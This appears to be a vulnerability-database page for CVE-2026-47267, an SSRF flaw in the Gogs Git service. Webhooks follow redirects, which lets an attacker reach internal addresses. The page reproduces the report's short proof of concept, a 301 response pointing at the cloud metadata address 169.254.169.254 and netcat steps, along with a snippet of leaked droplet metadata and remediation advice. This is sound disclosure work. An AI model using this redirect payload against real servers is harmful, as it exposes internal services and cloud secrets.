Skip to main content

Gogs CVE-2026-47267

| EUVDEUVD-2026-39064 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-06-22 https://github.com/gogs/gogs GHSA-c4v7-xg93-qf8g
8.3
CVSS 3.1 · Vendor: https://github.com/gogs/gogs
Share

Severity by source

Vendor (https://github.com/gogs/gogs) PRIMARY
8.3 HIGH
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
vuln.today AI
8.5 HIGH

Webhook creation needs an authenticated privileged account (PR:L); SSRF to cloud metadata changes scope (S:C) and can expose high-value internal secrets (C:H), with limited integrity and no direct availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:L/SI:N/SA:N
SUSE
HIGH
qualitative

Primary rating from Vendor (https://github.com/gogs/gogs).

CVSS VectorVendor: https://github.com/gogs/gogs

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
Low

Lifecycle Timeline

6
Analysis Updated
Jun 24, 2026 - 21:33 vuln.today
v3 (cvss_changed)
Analysis Updated
Jun 24, 2026 - 21:32 vuln.today
v2 (cvss_changed)
Re-analysis Queued
Jun 24, 2026 - 21:22 vuln.today
cvss_changed
CVSS changed
Jun 24, 2026 - 21:22 NVD
8.3 (HIGH)
Source Code Evidence Fetched
Jun 22, 2026 - 23:16 vuln.today
Analysis Generated
Jun 22, 2026 - 23:16 vuln.today

DescriptionCVE.org

Summary

The fix for CVE-2022-1285 prevents adding webooks or running webhooks with URLs with a hostname that resolves in localCIDRs. However, webhooks still follow redirects allowing to access hostname inside localCIDRs.

This was already communicated in the initial report but it looks like there was a bit of a miscommunication.

Details

By creating a webook pointing to any URL that will return the following:

HTTP/1.1 301 Moved Permanently
Location: http://169.254.169.254/metadata/v1.json
Content-Length: 0
Connection: close

It is possible to access 169.254.169.254

PoC

  1. Run netcat on any server
  2. Use this server as the webhook URL
  3. Once you get the request from the webhook (for example by testing it), copy the response above

Results from running this on try.gogs:

{"droplet_id":456901166,"hostname":"gogs-do-nyc3-01","vendor_data":"Content-Type: multipart/mixed; boundary=\"===============8645434374073493512==\"\nMIME-Version: 1.0\n\n--===============8645434374073493512==\nMIME-Version: 1.0\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config\"\n\n#cloud-config\n\n
# Enable root and password auth\ndisable_roo...{"dhcp_enabled":false,"vpc_peering_enabled":false},"dotty_status":"running","ssh_info":{"port":22}}

Impact

Server Side Request Forgery

Fix

The "simplest way" to fix it is most likely to leverage Client.CheckRedirect https://pkg.go.dev/net/http#hdr-Clients_and_Transports to check if the redirect is pointing to a blocked hostname

AnalysisAI

Server-side request forgery in Gogs (self-hosted Git service) versions ≤ 0.14.2 lets a user who can configure a webhook reach internal-only network addresses by abusing HTTP redirect following. The original CVE-2022-1285 fix only blocked webhook URLs whose hostname resolves into local CIDRs, but the delivery client still chased 3xx redirects, so a webhook pointed at an attacker-controlled host that returns a 301 to http://169.254.169.254/ pivots into cloud metadata and other internal services. Publicly available exploit code exists (a working PoC against try.gogs is documented, dumping DigitalOcean droplet metadata); it is not listed in CISA KEV and no public EPSS figure is provided.

Technical ContextAI

Gogs is a lightweight self-hosted Git service written in Go (package pkg:go/gogs.io_gogs). Its webhook subsystem (internal/database/webhook.go, using the internal/httplib HTTP wrapper) delivers signed JSON payloads to user-configured URLs. The root cause is CWE-918 (SSRF): the prior hardening validated only the initially configured hostname against blocked local CIDRs, but the underlying net/http client followed redirects without re-applying that policy, so a permitted external target could redirect the request to an internal address. The patched code installs a CheckRedirect callback (http.Client.CheckRedirect) that refuses to follow any webhook redirect, closing the bypass at the HTTP-client layer rather than re-resolving each hop.

RemediationAI

Upgrade to the vendor-released patch: Gogs 0.14.3, which adds an http.Client.CheckRedirect policy that refuses to follow webhook redirects (PR #8263 / commit 199cf4fd5bbe40b92f6dc8d649e241fd7a8d0018; advisory GHSA-c4v7-xg93-qf8g). If immediate patching is not possible, restrict who can create or edit webhooks by limiting repository-admin and organization-admin privileges to trusted users and disabling open/self-service registration so untrusted accounts cannot configure delivery URLs; additionally, place the Gogs server behind egress firewall rules that block outbound access to link-local and cloud-metadata ranges (notably 169.254.0.0/16, including 169.254.169.254) and other internal CIDRs, and where supported enforce IMDSv2/hop-limit on cloud instances. Trade-offs: egress filtering can break legitimate webhooks that must reach internal CI systems, and tightening webhook permissions reduces self-service convenience, so scope these controls and prefer upgrading as the durable fix.

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

Share

CVE-2026-47267 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy